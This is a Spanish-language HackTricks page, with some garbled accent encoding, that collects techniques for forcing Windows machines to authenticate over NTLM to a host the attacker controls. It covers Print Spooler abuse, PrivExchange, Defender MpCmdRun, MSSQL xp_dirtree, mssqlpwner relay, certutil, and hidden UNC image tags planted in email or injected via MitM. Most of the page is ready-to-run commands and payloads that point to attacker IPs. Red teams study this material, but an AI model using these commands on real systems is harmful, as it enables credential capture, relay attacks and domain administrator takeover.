Forzar la Autenticaci贸n Privilegiada NTLM

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

SharpSystemTriggers

SharpSystemTriggers es una colecci贸n de disparadores de autenticaci贸n remota codificados en C# utilizando el compilador MIDL para evitar dependencias de terceros.

Abuso del Servicio de Spooler

Si el servicio Print Spooler est谩 habilitado, puedes usar algunas credenciales de AD ya conocidas para solicitar al servidor de impresi贸n del Controlador de Dominio una actualizaci贸n sobre nuevos trabajos de impresi贸n y simplemente indicarle que env铆e la notificaci贸n a alg煤n sistema.
Ten en cuenta que cuando la impresora env铆a la notificaci贸n a sistemas arbitrarios, necesita autenticarse contra ese sistema. Por lo tanto, un atacante puede hacer que el servicio Print Spooler se autentique contra un sistema arbitrario, y el servicio utilizar谩 la cuenta de computadora en esta autenticaci贸n.

Encontrar Servidores Windows en el dominio

Usando PowerShell, obt茅n una lista de m谩quinas Windows. Los servidores suelen ser prioridad, as铆 que enfoqu茅monos all铆:

bash
Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt

Encontrar servicios de Spooler escuchando

Usando una versi贸n ligeramente modificada de @mysmartlogin (Vincent Le Toux) SpoolerScanner, verifica si el Servicio de Spooler est谩 escuchando:

bash
. .\Get-SpoolStatus.ps1
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}

Tambi茅n puedes usar rpcdump.py en Linux y buscar el protocolo MS-RPRN.

bash
rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN

Pida al servicio que se autentique contra un host arbitrario

Puede compilar SpoolSample desde aqu铆.

bash
SpoolSample.exe <TARGET> <RESPONDERIP>

o usa dementor.py de 3xocyte o printerbug.py si est谩s en Linux

bash
python dementor.py -d domain -u username -p password <RESPONDERIP> <TARGET>
printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>

Combinando con Delegaci贸n No Restringida

Si un atacante ya ha comprometido una computadora con Delegaci贸n No Restringida, el atacante podr铆a hacer que la impresora se autentique contra esta computadora. Debido a la delegaci贸n no restringida, el TGT de la cuenta de computadora de la impresora ser谩 guardado en la memoria de la computadora con delegaci贸n no restringida. Como el atacante ya ha comprometido este host, podr谩 recuperar este ticket y abusar de 茅l (Pass the Ticket).

Autenticaci贸n Forzada RCP

{% embed url="https://github.com/p0dalirius/Coercer" %}

PrivExchange

El ataque PrivExchange es el resultado de un defecto encontrado en la funci贸n PushSubscription del Exchange Server. Esta funci贸n permite que el servidor de Exchange sea forzado por cualquier usuario de dominio con un buz贸n para autenticarse en cualquier host proporcionado por el cliente a trav茅s de HTTP.

Por defecto, el servicio de Exchange se ejecuta como SYSTEM y se le otorgan privilegios excesivos (espec铆ficamente, tiene privilegios WriteDacl en el dominio antes de la Actualizaci贸n Acumulativa de 2019). Este defecto puede ser explotado para habilitar el reenv铆o de informaci贸n a LDAP y posteriormente extraer la base de datos NTDS del dominio. En casos donde el reenv铆o a LDAP no es posible, este defecto a煤n puede ser utilizado para reenviar y autenticarse en otros hosts dentro del dominio. La explotaci贸n exitosa de este ataque otorga acceso inmediato al Administrador de Dominio con cualquier cuenta de usuario de dominio autenticada.

Dentro de Windows

Si ya est谩s dentro de la m谩quina Windows, puedes forzar a Windows a conectarse a un servidor utilizando cuentas privilegiadas con:

Defender MpCmdRun

bash
C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -Scan -ScanType 3 -File \\<YOUR IP>\file.txt

MSSQL

sql
EXEC xp_dirtree '\\10.10.17.231\pwn', 1, 1

MSSQLPwner

shell
# Issuing NTLM relay attack on the SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on the local server with custom command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250

O utiliza esta otra t茅cnica: https://github.com/p0dalirius/MSSQL-Analysis-Coerce

Certutil

Es posible usar certutil.exe lolbin (binario firmado por Microsoft) para forzar la autenticaci贸n NTLM:

bash
certutil.exe -syncwithWU  \\127.0.0.1\share

Inyecci贸n HTML

A trav茅s de correo electr贸nico

Si conoces la direcci贸n de correo electr贸nico del usuario que inicia sesi贸n en una m谩quina que deseas comprometer, podr铆as simplemente enviarle un correo electr贸nico con una imagen de 1x1 como

html
<img src="\\10.10.17.231\test.ico" height="1" width="1" />

y cuando lo abra, intentar谩 autenticarse.

MitM

Si puedes realizar un ataque MitM a una computadora e inyectar HTML en una p谩gina que 茅l visualizar谩, podr铆as intentar inyectar una imagen como la siguiente en la p谩gina:

html
<img src="\\10.10.17.231\test.ico" height="1" width="1" />

Cracking NTLMv1

Si puedes capturar los desaf铆os de NTLMv1 lee aqu铆 c贸mo crackearlos.
&#xNAN;Recuerda que para crackear NTLMv1 necesitas establecer el desaf铆o de Responder a "1122334455667788"

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks